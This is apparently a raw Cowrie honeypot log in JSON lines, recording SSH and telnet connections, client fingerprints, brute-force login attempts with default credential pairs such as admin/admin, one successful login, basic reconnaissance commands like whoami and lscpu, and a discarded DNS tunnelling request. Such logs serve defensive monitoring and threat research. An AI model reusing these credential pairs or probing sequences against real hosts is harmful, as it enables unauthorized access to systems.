{"eventid":"cowrie.login.failed","username":"vbox","password":"test","message":"login attempt [vbox/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.867748Z","src_ip":"172.185.24.228","session":"5b1699a9b693","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.999380Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.004538Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.101354Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.356756Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.360411Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.460193Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.698130Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.701905Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.800520Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.809851Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:06.952847Z","src_ip":"172.185.24.228","session":"5b1699a9b693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50578,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b33b67c7d1","protocol":"telnet","message":"New connection: 192.211.53.160:50578 (159.203.135.109:23) [session: 48b33b67c7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:08.940104Z"}
{"eventid":"cowrie.session.closed","duration":36.32353711128235,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:14.496064Z","src_ip":"62.210.97.77","session":"0cf28a82ee4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.71894717216492,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:19.224411Z","src_ip":"65.60.27.33","session":"808a09fcf195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60638,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9729c52307e","protocol":"ssh","message":"New connection: 80.94.92.182:60638 (159.203.135.109:22) [session: a9729c52307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:20.403681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:20.459526Z","src_ip":"80.94.92.182","session":"a9729c52307e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:20.601204Z","src_ip":"80.94.92.182","session":"a9729c52307e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:21.648550Z","src_ip":"80.94.92.182","session":"a9729c52307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44244,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc565afd69d0","protocol":"telnet","message":"New connection: 62.210.97.77:44244 (10.17.0.5:23) [session: fc565afd69d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:22.158727Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:22.882350Z","src_ip":"80.94.92.182","session":"a9729c52307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7c5940122e","protocol":"telnet","message":"New connection: 165.232.131.181:57028 (10.17.0.5:23) [session: 3a7c5940122e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:23.488054Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44270,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a2bdad79ce","protocol":"telnet","message":"New connection: 165.232.131.181:44270 (10.17.0.5:23) [session: 28a2bdad79ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:23.733279Z"}
{"eventid":"cowrie.session.closed","duration":0.005130767822265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:23.738275Z","src_ip":"165.232.131.181","session":"28a2bdad79ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58450,"dst_ip":"10.17.0.5","dst_port":23,"session":"409c5e72ac79","protocol":"telnet","message":"New connection: 165.232.131.181:58450 (10.17.0.5:23) [session: 409c5e72ac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:24.541205Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47080,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd2a4d8e9c08","protocol":"ssh","message":"New connection: 194.59.206.2:47080 (10.17.0.5:22) [session: bd2a4d8e9c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:25.189625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:25.194820Z","src_ip":"194.59.206.2","session":"bd2a4d8e9c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:25.281280Z","src_ip":"194.59.206.2","session":"bd2a4d8e9c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:25.377747Z","src_ip":"194.59.206.2","session":"bd2a4d8e9c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5352e43e850","protocol":"telnet","message":"New connection: 62.210.97.77:44246 (10.17.0.5:23) [session: e5352e43e850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:26.035179Z"}
{"eventid":"cowrie.session.closed","duration":4.099100351333618,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:27.586989Z","src_ip":"165.232.131.181","session":"3a7c5940122e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9704349040985107,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:28.511473Z","src_ip":"165.232.131.181","session":"409c5e72ac79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46788,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fc6b8a2ae6","protocol":"telnet","message":"New connection: 65.60.27.33:46788 (10.17.0.5:23) [session: f1fc6b8a2ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:29.111387Z"}
{"eventid":"cowrie.session.closed","duration":46.69503855705261,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:30.358413Z","src_ip":"38.54.119.93","session":"d0341f392c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54466,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc2d17370039","protocol":"ssh","message":"New connection: 87.251.64.176:54466 (10.17.0.5:22) [session: fc2d17370039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:31.817276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:31.821757Z","src_ip":"87.251.64.176","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:31.960670Z","src_ip":"87.251.64.176","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35838,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f52efed9b1","protocol":"telnet","message":"New connection: 62.210.97.77:35838 (10.17.0.5:23) [session: 11f52efed9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:32.131749Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:32.378830Z","src_ip":"87.251.64.176","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:32.525741Z","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:32.667191Z","src_ip":"87.251.64.176","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:32.810712Z","src_ip":"87.251.64.176","session":"fc2d17370039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.463196992874146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:33.410563Z","src_ip":"62.210.97.77","session":"89bf55d329d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35852,"dst_ip":"10.17.0.5","dst_port":23,"session":"065efd29133b","protocol":"telnet","message":"New connection: 62.210.97.77:35852 (10.17.0.5:23) [session: 065efd29133b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:33.415599Z"}
{"eventid":"cowrie.session.closed","duration":45.13879942893982,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:33.765323Z","src_ip":"165.232.131.181","session":"c7a26fed7a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.89378571510315,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:34.522381Z","src_ip":"165.232.131.181","session":"0fef347f9c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50694,"dst_ip":"159.203.135.109","dst_port":22,"session":"00fe2022f7c3","protocol":"ssh","message":"New connection: 20.203.42.204:50694 (159.203.135.109:22) [session: 00fe2022f7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:35.165975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:35.172224Z","src_ip":"20.203.42.204","session":"00fe2022f7c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:35.338534Z","src_ip":"20.203.42.204","session":"00fe2022f7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qauser","password":"qauser","message":"login attempt [qauser/qauser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:36.036086Z","src_ip":"20.203.42.204","session":"00fe2022f7c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"2904255a00bf","protocol":"telnet","message":"New connection: 65.60.27.33:54476 (10.17.0.5:23) [session: 2904255a00bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:36.314796Z"}
{"eventid":"cowrie.session.closed","duration":41.810478925704956,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:36.518322Z","src_ip":"192.211.53.160","session":"e10fc300ecad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"812ba8857edf","protocol":"telnet","message":"New connection: 165.232.131.181:34960 (10.17.0.5:23) [session: 812ba8857edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:37.167234Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:37.205755Z","src_ip":"20.203.42.204","session":"00fe2022f7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.28568124771118,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:37.292441Z","src_ip":"192.211.53.160","session":"f08c89736ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.841609239578247,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:40.156275Z","src_ip":"65.60.27.33","session":"2904255a00bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.02165102958679,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:40.300362Z","src_ip":"62.210.97.77","session":"6c11fb822509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"931b7d07ff51","protocol":"telnet","message":"New connection: 62.210.97.77:47842 (10.17.0.5:23) [session: 931b7d07ff51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:44.256521Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47858,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18a25584967","protocol":"telnet","message":"New connection: 62.210.97.77:47858 (10.17.0.5:23) [session: a18a25584967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:47.106535Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b02b19b2f7b5","protocol":"telnet","message":"New connection: 38.54.119.93:49548 (10.17.0.5:23) [session: b02b19b2f7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:48.651134Z"}
